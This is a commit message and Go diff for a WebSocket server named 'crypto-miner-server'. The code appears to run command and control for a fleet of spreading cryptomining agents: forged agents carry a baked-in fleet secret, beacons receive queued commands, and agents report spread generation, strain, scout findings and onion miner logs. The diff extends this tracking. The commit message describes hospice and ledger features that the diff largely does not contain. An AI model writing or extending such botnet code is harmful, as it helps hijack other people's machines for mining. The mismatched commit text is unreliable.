Add Strain Hospice for graceful low-win strain retirement.

Archive failed epidemiology strains to museum hospice with SQLite persistence, operator/AI/court triggers, breeding and graft guards, topology museum nodes, and Seer plus oath ledger accountability.

server/internal/api/websocket.go

@@ -18,6 +18,8 @@ import (
 	"crypto-miner-server/internal/atlas"
 	"crypto-miner-server/internal/db"
 	"crypto-miner-server/internal/epidemiology"
+	"crypto-miner-server/internal/mining"
+	"crypto-miner-server/internal/miningsurgery"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/pool"
 	"crypto-miner-server/internal/strategy"
@@ -175,6 +177,8 @@ type WSHub struct {
 	subnetAutopsies      map[string]atlas.SubnetAutopsyPacket
 	subnetGossipWhispers map[string][]atlas.GossipHint
 	epidemiology         *epidemiology.Tracker
+	miningSurgery        *miningsurgery.Tracker
+	contingencyOrch      *mining.ContingencyOrchestrator
 	pingIntervalSec int
 	fleetSecret     string // baked into forged agents; verified on WS connect
 	eventNotifier   *alerts.Notifier
@@ -227,6 +231,7 @@ func NewWSHub(database *db.Database) *WSHub {
 		agentSubnet:             make(map[string]string),
 		breedingRegistry:        strategy.NewBreedingRegistry(),
 		epidemiology:            epidemiology.NewTracker(),
+		miningSurgery:           miningsurgery.NewTracker(),
 		pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
 		beaconLastSeen:      make(map[string]time.Time),
 		beaconCmdQueue:      make(map[string][]BeaconCommand),
@@ -234,6 +239,9 @@ func NewWSHub(database *db.Database) *WSHub {
 		pingIntervalSec:     30,
 	}
 	h.clearance = NewClearanceManager(h)
+	if database != nil {
+		h.refreshHospiceBreedingCache()
+	}
 
 	// Background stale-agent sweep:
 	// 3 minutes old but the row still says "online", force it offline.
@@ -1034,6 +1042,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				}
 			}
 			h.attachEpidemiologyFix(resp, agentID)
+			h.attachMiningSelfSurgery(resp, agentID)
+			h.attachContingencyPolicy(resp)
 			return resp
 		}())})
 
@@ -1166,6 +1176,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			ParentAgentID string `json:"parent_agent_id,omitempty"`
 			SpreadGeneration int `json:"spread_generation,omitempty"`
 			SpreadStrain  string `json:"spread_strain,omitempty"`
+			ContingencyDepth int `json:"contingency_depth,omitempty"`
 			FleetRole        string  `json:"fleet_role,omitempty"`
 			SeedPressure     float64 `json:"seed_pressure,omitempty"`
 			HashratePressure float64 `json:"hashrate_pressure,omitempty"`
@@ -1338,6 +1349,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			if stats.SpreadStrain != "" {
 				broadcast["spread_strain"] = stats.SpreadStrain
 			}
+			if stats.ContingencyDepth > 0 {
+				broadcast["contingency_depth"] = stats.ContingencyDepth
+			}
 			if stats.FleetRole != "" {
 				broadcast["fleet_role"] = stats.FleetRole
 			}
@@ -1418,6 +1432,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 				})
 			}
 			h.observeEpidemiologyFromStats(agentID, epiStats)
+			h.observeMiningSelfSurgeryFromStats(agentID, epiStats)
 			h.queueStatsBroadcast(broadcast)
 
 		case "scout_report":
@@ -1649,6 +1664,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
 			h.ingestStrategyFromPayload(agentID, payload)
 			h.queueStatsBroadcast(payload)
 
+		case "self_surgery_report":
+			if agentID == "" {
+				continue
+			}
+			h.handleSelfSurgeryReport(agentID, msg.Payload)
+
+		case "onion_miner_log":
+			if agentID == "" {
+				continue
+			}
+			h.handleOnionMinerLog(agentID, msg.Payload)
+
 		case "atlas_gossip":
 			if agentID == "" {
 				continue